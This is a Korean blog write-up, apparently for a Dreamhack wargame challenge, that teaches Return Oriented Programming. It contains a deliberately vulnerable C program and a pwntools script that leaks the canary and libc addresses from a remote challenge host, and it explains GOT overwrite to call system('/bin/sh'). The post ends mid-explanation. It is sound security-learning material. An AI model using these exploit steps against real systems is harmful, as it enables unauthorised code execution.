๐ŸŒ‡โ”‚System_Study/๐Ÿ“•โ”‚Dreamhack_Hacking

Exploit Tech: Return Oriented Programming

Jastes 2022. 7. 5. 16:14


Return Oriented Programming

ROP : ๋ฆฌํ„ด ๊ฐ€์ ฏ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ณต์žกํ•œ ์‹คํ–‰ ํ๋ฆ„์„ ๊ตฌํ˜„ํ•˜๋Š” ๊ธฐ๋ฒ•
 ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ์ด์šฉํ•ด ๋ฌธ์ œ ์ƒํ™ฉ์— ๋งž์ถฐ RTL/Return to dl-resolve/GOT overwrite
๋“ฑ์„ ์ด์šฉํ•ด ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค!

์ง€๋‚œ ์‹œ๊ฐ„์— pop rdi; ret์„ ์‚ฌ์šฉํ•ด system("/bin/sh")์„ ํ˜ธ์ถœํ•œ ๊ฒƒ๋„ ROP๋ฅผ ์ด์šฉํ•œ RTL์ž…๋‹ˆ๋‹ค.

ROP ํŽ˜์ด๋กœ๋“œ๋Š” ๋ฆฌํ„ด ๊ฐ€์ ฏ์œผ๋กœ ๊ตฌ์„ฑ๋˜๋Š”๋ฐ, ret ๋‹จ์œ„๋กœ
์—ฌ๋Ÿฌ ์ฝ”๋“œ๊ฐ€ ์—ฐ์‡„์ ์œผ๋กœ ์‹คํ–‰๋˜๋Š” ๋ชจ์Šต์—์„œ ROP Chain์ด๋ผ๊ณ  ๋ถˆ๋ฆฝ๋‹ˆ๋‹ค.

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
 
#include <stdio.h>
#include <unistd.h>
 
int main() {
  char buf[0x30];
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
 
  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
 
  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);
 
  return 0;
}

์•„๋ก€ ์ฝ”๋“œ๋Š” ์šฐ๋ฆฌ๊ฐ€ ์‹ค์Šตํ•  ์ทจ์•ฝํ•œ ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค.


๋ถ„์„ ๋ฐ ์„ค๊ณ„

์œ„์™€ ๊ฐ™์ด Canary์™€ NX๊ฐ€ ๊ฑธ๋ ค ์žˆ๋Š” ๋ชจ์Šต์„ ๋ณด์‹ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ASLR์€ ๊ฑฐ์˜ ํ•„์ˆ˜๋กœ ์žˆ์ฃ 

 

๊ทธ๋Ÿฌ๊ธฐ์— ์šฐ๋ฆฌ๋Š” RTL ๊ณต๊ฒฉ์„ ์ด์ „์— ์ง„ํ–‰ํ–ˆ์—ˆ์œผ๋ฉฐ, ์ง€๊ธˆ์€ ROP ๊ณต๊ฒฉ์„ ํ• ๊ฑฐ์˜ˆ์š”
์ •ํ™•ํ•˜๊ฒŒ๋Š” ROP Chain ๊ณต๊ฒฉ์ด ๋” ์ ํ•ฉํ•œ ์šฉ์–ด๊ฐ™๋„ค์š”

 

์ฝ”๋“œ ๋ถ„์„๊ณผ ํ•ด๋‹น ์ทจ์•ฝ์ ์€ ์ด์ „๊ณผ ์œ ์‚ฌํ•˜๊ธฐ์— ๊ฑด๋„ˆ๋›ฐ๊ณ ..

๋ณด์‹œ๋ฉด system ํ•จ์ˆ˜๊ฐ€ ์—†์œผ๋ฏ€๋กœ ๋ฐ”๋กœ ์‰˜๋กœ ์ ‘๊ทผ์ด ์•ˆ๋˜๊ฒ ์ฃ  ๊ทธ๋Ÿฌ๋ฏ€๋กœ ์‚ฌ์šฉ๋œ
ํ•จ์ˆ˜๋“ค์„ ํ™œ์šฉํ•˜์—ฌ plt, got์— ์ ‘๊ทผํ•˜์—ฌ ์ธ์ž๋“ค์„ ์กฐ์ž‘ํ•˜์—ฌ system ํ•จ์ˆ˜์ฒ˜๋Ÿผ ์‚ฌ์šฉํ•ด์•ผ๊ฒ ๋„ค์š”
์—ฌ๊ธฐ์„œ ํ•ต์‹ฌ์€ read ํ•จ์ˆ˜๊ฒ ์ฃ ...

 

์ด์ „์ฒ˜๋Ÿผ system์— plt๊ฐ€ ๊ธฐ๋ก ๋˜์ง€๋„ ์•Š๊ณ  ์ƒ์ˆ˜์ธ /bin/sh๋„ ์—†์œผ๋‹ˆ๊นŒ puts์™€ ๊ฐ™์€
์ถœ๋ ฅ ํ•จ์ˆ˜๋„ ์ด์šฉํ•ด์•ผ๊ฒ ์ฃ (plt์— ๋“ฑ๋ก ๋˜์–ด์žˆ๋‹ค๋ฉด got์— ๋‹น์—ฐ์ง€์‚ฌ๋กœ ์ ‘๊ทผ ๋  ๊ฒƒ์ด๊ธฐ์—..)


 

1. ์นด๋‚˜๋ฆฌ ์šฐํšŒ

 

Exploit Tech: Return to Library

Return To Library NX๋กœ ์ธํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฒ„ํผ์— ์ฃผ์ž…ํ•œ ์…ธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ๋Š” ์–ด๋ ค์›Œ์กŒ์ง€๋งŒ, ์–ด์ „ํžˆ BOF๋Š” ๊ฐ€๋Šฅ! ๊ทธ๋ž˜์„œ ๊ณต๊ฒฉ์ž๋“ค์€ ์‹คํ–‰ ๊ถŒํ•œ์ด ๋‚จ์•„์žˆ๋Š” ์ฝ”๋“œ ์˜์—ญ์œผ๋กœ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„

dystopia050119.tistory.com


2. system ํ•จ์ˆ˜์˜ ์ฃผ์†Œ ๊ณ„์‚ฐ

system ํ•จ์ˆ˜๋Š” libc.so.6์— ์ •์˜๋˜์–ด ์žˆ์œผ๋ฉฐ, ํ•ด๋‹น ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—๋Š”
์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ํ˜ธ์ถœํ•˜๋Š” read, puts, printf๋„ ์ •์˜๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

 ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํŒŒ์ผ์€ ๋ฉ”๋ชจ๋ฆฌ์— ๋งคํ•‘๋  ๋•Œ ์ „์ฒด๊ฐ€ ๋งคํ•‘๋˜๋ฏ€๋กœ,
๋‹ค๋ฅธ ํ•จ์ˆ˜๋“ค๊ณผ ํ•จ๊ป˜ system ํ•จ์ˆ˜๋„ ํ”„๋กœ์„ธ์Šค ๋ฉ”๋ชจ๋ฆฌ์— ๊ฐ™์ด ์ ์žฌ๋จ

โ€ป ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ system ํ•จ์ˆ˜๋ฅผ ์ง์ ‘ ํ˜ธ์ถœํ•˜์ง€ ์•Š์•„์„œ system ํ•จ์ˆ˜๊ฐ€ GOT์—๋Š” ๋“ฑ๋ก X
๊ทธ๋Ÿฌ๋‚˜ read, puts, printf๋Š” GOT์— ๋“ฑ๋ก๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

 

main ํ•จ์ˆ˜์—์„œ ๋ฐ˜ํ™˜๋  ๋•Œ๋Š” ์ด ํ•จ์ˆ˜๋“ค์„ ๋ชจ๋‘ ํ˜ธ์ถœํ•œ ์ดํ›„์ด๋ฏ€๋กœ,
์ด๋“ค์˜ GOT๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด libc์˜ ๋ฒ„์ „์— ๋งž๊ฒŒ ๋งคํ•‘๋œ ์˜์—ญ์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

libc์—๋Š” ์—ฌ๋Ÿฌ ๋ฒ„์ „์ด ์žˆ๋Š”๋ฐ ๊ฐ™์€ libc์•ˆ์—์„œ ๋‘ ๋ฐ์ดํ„ฐ ์‚ฌ์ด์˜ ๊ฑฐ๋ฆฌ(Offset)๋Š” ํ•ญ์ƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋ฏ€๋กœ ์‚ฌ์šฉํ•˜๋Š” libc์˜ ๋ฒ„์ „์„ ์•Œ ๋•Œ, libc๊ฐ€ ๋งคํ•‘๋œ ์˜์—ญ์˜ ์ž„์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ์œผ๋ฉด
๋‹ค๋ฅธ ๋ฐ์ดํ„ฐ์˜ ์ฃผ์†Œ๋ฅผ ๋ชจ๋‘ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 

rop.c์—์„œ๋Š” read, puts, printf๊ฐ€ GOT์— ๋“ฑ๋กํ–ˆ๊ธฐ์— ํ•˜๋‚˜์˜ ํ•จ์ˆ˜๋ฅผ ์ •ํ•ด์„œ ๊ทธ ํ•จ์ˆ˜์˜ GOT ๊ฐ’์„ ์ฝ๊ณ ,
๊ทธ ํ•จ์ˆ˜์˜ ์ฃผ์†Œ์™€ system ํ•จ์ˆ˜ ์‚ฌ์ด์˜ ๊ฑฐ๋ฆฌ๋ฅผ ์ด์šฉํ•ด์„œ system ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•ด๋‚ผ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.


3. “/bin/sh”

์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ๋ฐ์ดํ„ฐ ์˜์—ญ์— “/bin/sh” ๋ฌธ์ž์—ด์ด ์—†์Šต๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ ์ด ๋ฌธ์ž์—ด์„ ์ž„์˜ ๋ฒ„ํผ์— ์ง์ ‘ ์ฃผ์ž…ํ•˜์—ฌ ์ฐธ์กฐํ•˜๊ฑฐ๋‚˜, ๋‹ค๋ฅธ ํŒŒ์ผ์— ํฌํ•จ๋œ ๊ฒƒ์„ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

 

ํ›„์ž์˜ ๋ฐฉ๋ฒ•์„ ์„ ํƒํ•  ๋•Œ ๋งŽ์ด ์‚ฌ์šฉ๋˜๋Š” ๊ฒƒ์ด libc์— ํฌํ•จ๋œ “/bin/sh” ๋ฌธ์ž์—ด์ž…๋‹ˆ๋‹ค.
์ด ๋ฌธ์ž์—ด์˜ ์ฃผ์†Œ๋„ system ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•  ๋•Œ์ฒ˜๋Ÿผ libc ์˜์—ญ์˜ ์ž„์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•˜๊ณ ,
๊ทธ ์ฃผ์†Œ๋กœ๋ถ€ํ„ฐ ๊ฑฐ๋ฆฌ๋ฅผ ๋”ํ•˜๊ฑฐ๋‚˜ ๋นผ์„œ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์ด ๋ฐฉ๋ฒ•์€ ์ฃผ์†Œ๋ฅผ ์•Œ๊ณ  ์žˆ๋Š” ๋ฒ„ํผ์— “/bin/sh”๋ฅผ ์ž…๋ ฅํ•˜๊ธฐ ์–ด๋ ค์šธ ๋•Œ ์ฐจ์„ ์ฑ…์œผ๋กœ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์‹ค์Šต์—์„œ๋Š” ROP๋กœ ๋ฒ„ํผ์— “/bin/sh”๋ฅผ ์ž…๋ ฅํ•˜๊ณ , ์ด๋ฅผ ์ฐธ์กฐํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.


4. GOT Overwrite

system ํ•จ์ˆ˜์™€ “/bin/sh” ๋ฌธ์ž์—ด์˜ ์ฃผ์†Œ๋ฅผ ์•Œ๊ณ  ์žˆ์œผ๋ฏ€๋กœ,
์ง€๋‚œ ์ฝ”์Šค์—์„œ์ฒ˜๋Ÿผ pop rdi; ret ๊ฐ€์ ฏ์„ ํ™œ์šฉํ•˜์—ฌ system(“/bin/sh”)๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

๊ทธ๋Ÿฌ๋‚˜ system ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•˜์„ ๋•Œ๋Š” ์ด๋ฏธ ROP ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์ „์†ก๋œ ์ดํ›„์ด๋ฏ€๋กœ,
์•Œ์•„๋‚ธ system ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ํŽ˜์ด๋กœ๋“œ์— ์‚ฌ์šฉํ•˜๋ ค๋ฉด mainํ•จ์ˆ˜๋กœ ๋Œ์•„๊ฐ€์„œ ๋‹ค์‹œ BOF๋ฅผ ์ผ์œผ์ผœ์•ผ ํ•ฉ๋‹ˆ๋‹ค.

 

์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ ํŒจํ„ด์„ ret2main์ด๋ผ๊ณ  ๋ถ€๋ฅด๋Š”๋ฐ,
์ด ์ฝ”์Šค์—์„œ๋Š” GOT Overwrite ๊ธฐ๋ฒ•์„ ํ†ตํ•ด ํ•œ ๋ฒˆ์— ์…ธ์„ ํš๋“ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

Background: Library - Static Link vs. Dynamic Link

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๐Ÿ“š ์—ฌ๋Ÿฌ ์ปดํŒŒ์ผ ์–ธ์–ด๋“ค์€ ์ž์ฃผ ์‚ฌ์šฉ๋˜๋Š” ํ•จ์ˆ˜๋“ค์˜ ์ •์˜๋ฅผ ๋ฌถ์–ด์„œ ํ•˜๋‚˜์˜ lib ํŒŒ์ผ๋กœ ์ƒ์„ฑ ์ด๋ฅผ ์—ฌ๋Ÿฌ ํ”„๋กœ๊ทธ๋žจ์ด ๊ณต์œ ํ•ด์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๊ฐ™

dystopia050119.tistory.com

์œ„์— ๋งํฌ๋ฅผ ๋ณด์‹œ๋ฉด Lazy binding์— ๋Œ€ํ•ด ๋ฐฐ์šด ๋‚ด์šฉ์„ ์•Œ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Lazy binding
 ๋ฆฌ๋ˆ…์Šค ELF ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜์˜ ์‹œ์ž‘์ฃผ์†Œ๋ฅผ ๊ตฌํ•˜์ง€ ์•Š๋‹ค๊ฐ€
ํ•จ์ˆ˜๋ฅผ ์ฒ˜์Œ ํ˜ธ์ถœํ•  ๋•Œ ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ ๊ตฌํ•˜๋Š” ๊ฒƒ

โ€ป Lazy Binding โ€ป

  1. ํ˜ธ์ถœํ•  lib ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ํ”„๋กœ์„ธ์Šค์— ๋งคํ•‘๋œ lib์—์„œ ์ฐพ์Œ
  2. ์ฐพ์€ ์ฃผ์†Œ๋ฅผ GOT์— ์ ๊ณ , ์ด๋ฅผ ํ˜ธ์ถœ
  3. ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ๋‹ค์‹œ ํ˜ธ์ถœํ•  ๊ฒฝ์šฐ, GOT์— ์ ํžŒ ์ฃผ์†Œ๋ฅผ ๊ทธ๋Œ€๋กœ ์ฐธ์กฐ

์œ„ ๊ณผ์ •์—์„œ GOT Overwrite์— ์ด์šฉ๋˜๋Š” ๋ถ€๋ถ„์€ 3๋ฒˆ์ž…๋‹ˆ๋‹ค.
GOT์— ์ ํžŒ ์ฃผ์†Œ๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ณ  ์ฐธ์กฐํ•˜๋ฏ€๋กœ GOT์— ์ ํžŒ ์ฃผ์†Œ๋ฅผ ๋ณ€์กฐํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด,
ํ•ด๋‹น ํ•จ์ˆ˜๊ฐ€ ์žฌํ˜ธ์ถœ๋  ๋•Œ ๊ณต๊ฒฉ์ž๊ฐ€ ์›ํ•˜๋Š” ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์•Œ์•„๋‚ธ system ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์–ด๋–ค ํ•จ์ˆ˜์˜ GOT์— ์“ฐ๊ณ , ๊ทธ ํ•จ์ˆ˜๋ฅผ ์žฌํ˜ธ์ถœํ•˜๋„๋ก ROP ์ฒด์ธ์„ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค


Libc DB ์ ‘๊ทผ

๋ฌธ์ œ์ ์€ ํ•ด๋‹น local๊ณผ ์›๊ฒฉ์˜ libc๊ฐ€ ๋‹ค๋ฅธ ์ ์—์„œ ๋งŽ์ด ๋ง‰ํ˜”์„๊ฑฐ์˜ˆ์š”
์ €๋Š” ํ•ด๋‹น ๋Œ“๊ธ€ ๋ณด๋ฉด์„œ libc์™€ ํ•ด๋‹น ๋กœ๋“œ๋งต์˜ ๊ฐ•์˜๋ฅผ ๋ณด๋ฉด์„œ ํ’€์—ˆ๊ธฐ์— ์•Œ ์ˆ˜ ์žˆ์—ˆ์ง€๋งŒ.. ํ’€์ด๋ฅผ ๋ณด๋˜ ์ค‘
์ข‹์€ ๋ถ€๋ถ„์ด ์žˆ๊ธฐ์— ์ฐธ๊ณ ํ•ด์„œ ์ถ”๊ฐ€๋กœ ์˜ฌ๋ ค๋“œ๋ฆฝ๋‹ˆ๋‹ค ใ…Ž

#!/usr/bin/python3
from pwn import *
 
def slog(name, addr): return success(' : '.join([name, hex(addr)]))
 
def check_memory_address_leak(func_name):
    ret = 0x40055e
    pop_rdi_ret = 0x4007f3
 
    e = ELF('./rop', checksec=False)
    p = remote('host3.dreamhack.games', 20308)
 
    puts_plt = e.plt['puts']
    main_addr = e.symbols['main']
 
    func_got = e.got[func_name]
 
    # Canary leak
    payload = b'A' * 0x39
 
    p.sendafter('Buf: ', payload)
    p.recvuntil(payload)
    Canary = u64(p.recvn(7).rjust(8, b'\x00'))
 
    # leak func_addr
    payload = b'A' * 0x38
    payload += p64(Canary)
    payload += b'B' * 0x8
    #payload += p64(ret)
    payload += p64(pop_rdi_ret)
    payload += p64(func_got)
    payload += p64(puts_plt)
    payload += p64(main_addr)
    
    p.sendafter(b'Buf: ', payload)
    func_addr = u64(p.recvn(6) + b'\x00\x00')
 
    slog(func_name, func_addr)
    p.close()
 
def main():
    func_list = []
    func_list.append('puts')
    func_list.append('printf')
    func_list.append('read')
    func_list.append('setvbuf')
 
    for func_name in func_list:
        check_memory_address_leak(func_name)
 
if __name__ == '__main__':
    main()

๋„์›€ ๋งํฌ :&nbsp;https://dreamhack.io/wargame/challenges/354/?writeup_id=6496

์œ„์— ๋งํฌ๋Š” ์ œ๊ฐ€ ์ฐธ๊ณ ํ•œ ์ž๋ฃŒ์ž…๋‹ˆ๋‹ค. ์ •๋ง ์ข‹์€ ์ž๋ฃŒ์ธ๊ฑฐ ๊ฐ™๋„ค์š”
๊ทธ๋ž˜์„œ ํ•ด๋‹น lib์˜ got์˜ ๊ฐ’์„ ์•Œ์•„๋ƒˆ๊ธฐ์— ์•„๋ž˜ ์‚ฌ์ดํŠธ์— ์ ‘์†ํ•ด ํ™•์ธ์„ ํ•ด๋ณผ๊นŒ์š”

 

libc database search

 

libc.nullbyte.cat


 

๊ฒฐ๊ณผ๋ฅผ ๋ณด์‹ ๋‹ค๋ฉด libc6_2.27.. ๋ฒ„์ „์˜ lib๋ฅผ ์‚ฌ์šฉํ•˜๋Š”๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค
๊ทธ๋ฆฌ๊ณ  system ํ•จ์ˆ˜์˜ difference๊ฐ€ 0์œผ๋กœ ํ™•์ •๋˜๋Š” ๊ฒƒ๋„ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋Š” ๋Œ€๋ชฉ์ด๊ณ ์š”

๊ทธ๋Ÿผ ์ด์ œ ๋ฒ„์ „๊นŒ์ง€ ์•Œ์•˜์œผ๋ฏ€๋กœ Exploit์„ ์‹คํ–‰ํ•ด๋ณผ๊นŒ์š”


Exploit_Write Up

ROP chain์„ ํ• ๋ ค๋ฉด 14~16์ฒ˜๋Ÿผ ํ•ด์•ผ๊ฒ ์ฃ .. ์•„ ๊ทธ๋Ÿผ ๊ตฌํ•œ libc์˜ ๋ฒ„์ „์€ ์™œ ์•ˆ์“ฐ๋ƒ..
์•ˆ ์จ๋„ ์‹คํ–‰์ด ๋˜๋”๋ผ๊ณ ์š”.. ์™ค๊นŒ์š”?? ๊ทธ๋ฆฌ๊ณ  ์•Œ์•„๋ณด๋‹ˆ๊นŒ 14-15์ฒ˜๋Ÿผ ํ•˜๋ฉด ๊ฒฐ๊ณผ๊ฐ€ ๊น”๋”!
๊ทธ๋ฆฌ๊ณ  ํŒ์œผ๋ก  local๋กœ ์‹คํ–‰ํ•˜๊ณ ์‹ถ๋‹ค๋ฉด 15๋ฒˆ์„ ์ฃผ์„ํ•˜์‹œ๊ณ  16๋ฒˆ์งธ ์ค„์„ ํ™œ์„ฑํ™” ํ•˜์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค


์•„๊นŒ libc_DB์—์„œ ๋ณธ ๊ฒƒ์ฒ˜๋Ÿผ system์—์„œ ๋ณด์‹  ๊ฒƒ์ฒ˜๋Ÿผ ์ฐจ์ด๊ฐ€ 0์ด๋‹ˆ๊นŒ 
๋งจ ์ฒ˜์Œ์ธ rbp.. ๋’ค์—๋ถ€ํ„ฐ rsp๋กœ ๋‹ค๊ฐ€๊ฐ„๋‹ค..๋ผ๊ณ  ์ƒ๊ฐํ•˜์‹œ๋ฉด ๋ ๊ฑฐ ๊ฐ™๋„ค์š” ์‹ค์ œ๋ก  BSS?์ด๋Ÿฐ๋ฐ ์ƒ์ฃผํ•˜๊ฒ ์ง€๋งŒ์š”

 

๊ทธ๋ฆฌ๊ณ  ์ €ํฌ๋Š” systemํ•จ์ˆ˜๋ฅผ read๋ฅผ ํ†ตํ•ด ์ธ์ž ์ž…๋ ฅ๊ณผ ์œ„์น˜๋ฅผ ๊ตฌํ•  ๊ฒ๋‹ˆ๋‹ค.


ํ•ต์‹ฌ!!!

  1.  ์นด๋‚˜๋ฆฌ๊นŒ์ง€ ๊ตฌํ•˜๊ณ  ๋‚œ ํ›„์— put๋กœ read์˜ got์˜ ๊ฐ’์„ ์ž…๋ ฅํ•ฉ๋‹ˆ๋‹ค 
    - ์ฐธ๊ณ ๋กœ linux_syscall์˜ ๋”ฐ๋ผ์„œ ์ €๋ ‡๊ฒŒ ์ธ์ž๋ฅผ ๋„ฃ๋Š”๋‹ต๋‹ˆ๋‹ค! 

  2.  read์˜ ์ธ์ž๊ฐ’์„ ์ฃผ์„์ฒ˜๋Ÿผ ๋„ฃ๊ณ  ์‹ถ์€๋ฐ ์ธ์ž๊ฐ€ syscall์˜ ๊ทœ์น™์— ์˜ํ•ด์„œ ๋„ฃ์–ด์•ผํ•˜๋‹ˆ๊นŒ..
    ์ €๋ ‡๊ฒŒ ํ•œ ๋ฒˆ ๋„ฃ๊ณ  0์œผ๋กœ ์ถ”๊ฐ€ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค rdi ← p64(0)/rsi ← p64(read_got)&r15(๋ถˆํ•„์š”) ← 0..
    - ์ฐธ๊ณ ๋กœ ๋ญ๋“  ํ•ด๋‹น ํ•จ์ˆ˜์˜ plt๋กœ ๋๋‚ด์ค˜์•ผ got๋ž‘ ์—ฐ๊ฒฐ๋˜๊ณ  ํ•ด๋‹น ํ•จ์ˆ˜๋กœ ์‹คํ–‰๋˜๊ฒ ์ฃ ?

  3.  50๋ฒˆ์งธ์ฒ˜๋Ÿผ ํ•œ ์ด์œ ๋Š” stack alignment์˜ ๋Š๋‚Œ์ฒ˜๋Ÿผ system ํ•จ์ˆ˜๋Š” ํ•ญ์ƒ ์ค‘๊ฐ„ ์ž…๋ ฅ์ด..
    0x10์œผ๋กœ ๋๋‚ด์•ผํ•œ๋‹ค๊ณ  ์ „์— ๊ทธ๋žฌ์ฃ .. ๊ทธ ์ด์œ  ๋•๋ถ„์— ์ €๋ ‡๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค

์ง‘์ค‘ํ•˜์…จ๋‹ค๋ฉด ๋ถ„๋ช… ์˜๋ฌธ์ ์ด ๋“ค๊ฑฐ์˜ˆ์š” ํŠนํžˆ, 45์ค„์— ์™œ read_got๋กœ ๋‹ค์‹œ read๋ฅผ ๋ถ€๋ฅผ๊นŒ.. ์ด๊ฑด
ํ›„์— ๋‚˜์˜ค๊ฒ ์ง€๋งŒ ์ž…๋ ฅ๋ฐ›๊ธฐ ์œ„ํ•ด์„œ์˜ˆ์š” ๊ทธ๋ ‡๊ฒŒ ๋œ๋‹ค๋ฉด ๋”ฐ์ง€๊ณ ๋ณด๋ฉด 2๋ฒˆ ์ž…๋ ฅ ๋ฐ›๋„ค์š” ใ…Ž

 

๋˜ํ•œ read์˜ rdx์˜ ๊ฐ’์€ ์—ฌ๊ธฐ์„  ๋งŽ์ด ํ• ๋‹น์ด ๋œ ์ƒํƒœ๋ผ์„œ ๋”ฐ๋กœ ์•ˆ ํ•ด๋„ ๋˜๋Š”๊ฑฐ ๊ฐ™์•„์š”..
์•ˆ์ •์ ์ธ ์ฝ”๋“œ๋ฅผ ์›ํ•˜๋ฉด ์ถ”๊ฐ€์ ์œผ๋กœ ์ž…๋ ฅํ•˜๊ณ  libc_csu_init์œผ๋กœ ํ•ด์•ผํ•œ๋‹ค๋˜๋ฐ.. ์‹ฌํ™”๋‚ด์šฉ์ด๋ผ์„œ ใ…Ž

 

๋‚˜์ค‘์—.. ๊ณต๋ถ€ํ•ด์„œ ์˜ฌ๋ ค๋ด์•ผ๊ฒ ์ฃ  ใ… 
๊ทธ๋ฆฌ๊ณ  ํ•จ์ˆ˜์˜ ์ธ์ž๋“ค์— ๋Œ€ํ•˜์—ฌ ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด ์—ฌ๊ธฐ๋กœ..


์ด์ œ ๊ถ๊ธˆํ•  ์ˆ˜๋„ ์žˆ๋Š” ๊ฐ ์‚ฌ์šฉ๋˜๊ณ  ์ด์šฉ๋œ libc์˜ offset์— ๋Œ€ํ•˜์—ฌ ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด..
์ €๋ ‡๊ฒŒ middleware๋กœ ํ™•์ธ์„ ํ•ด๋ด์•ผ๊ฒ ์ฃ 

 

๋ณด์‹œ๋ฉด.. payload๋กœ ์•„๋‹˜ ์œ„์— ํ™•์ธํ•˜๋Š” ์ฝ”๋“œ๋„ ์žˆ๋Š”๋ฐ ์ ์šฉํ•ด์„œ ๋ณด๋‚ด๋ฉด
์ฒ˜์Œ์— put(read_got)๋กœ ํ˜ธ์ถœ๋œ๊ฑธ ํ‰ค ํ–ˆ๋Š”๋ฐ ๊ทธ์ „์— bof+Cnry leak์„ ํ–ˆ์œผ๋‹ˆ๊นŒ.. ํ˜ธ์ถœ๋˜๊ฒ ์ฃ 

 

๊ทธ๋ ‡๊ฒŒ ์ฐจ๊ทผ์ฐจ๊ทผ 56์—” ์–ป์€ read์˜ ์œ„์น˜์—์„œ symbol๊ฐ’์„ ๋นผ๋ฉด libc_base์˜ offset์„ ๊ตฌํ•  ์ˆ˜ ์žˆ์–ด์š”
๊ตฌํ•˜๋Š” ์ด์œ ๋Š” ASLR์ด ๋ Œ๋ค์˜ ๊ฐ’์ด ์•„๋‹Œ ํ•ด๋‹น lib์˜ ๋ฒ„์ „์— ๋”ฐ๋ฅธ offset์— ๋”ฐ๋ผ ํ•˜๊ธฐ์— ํ•„์š”ํ•ด์š”

 

lib_base๋กœ ํ•˜๊ณ  system์€ ์•„๊นŒ์ „์— ๊ฐ lib์˜ offset์˜ ์ฐจ์ด๋Š” ๊ฐ™๋‹ค๊ณ  ํ–ˆ์œผ๋‹ˆ
์ด์ „์œผ๋กœ ๋บ€ ๊ฒƒ์—์„œ lb๋ž‘ symbol table์˜ system์˜ ์œ„์น˜๋ฅผ ๋”ํ•ด์ค€๋‹ค๋ฉด..๋‹ค ๊ตฌํ–ˆ์ฃ 


ํ•ต์‹ฌ์ธ p.send(p64(system) + b'/bin/sh\x00')์— ๋Œ€ํ•˜์—ฌ ๋ถ„์„ํ•˜์ž๋ฉด..
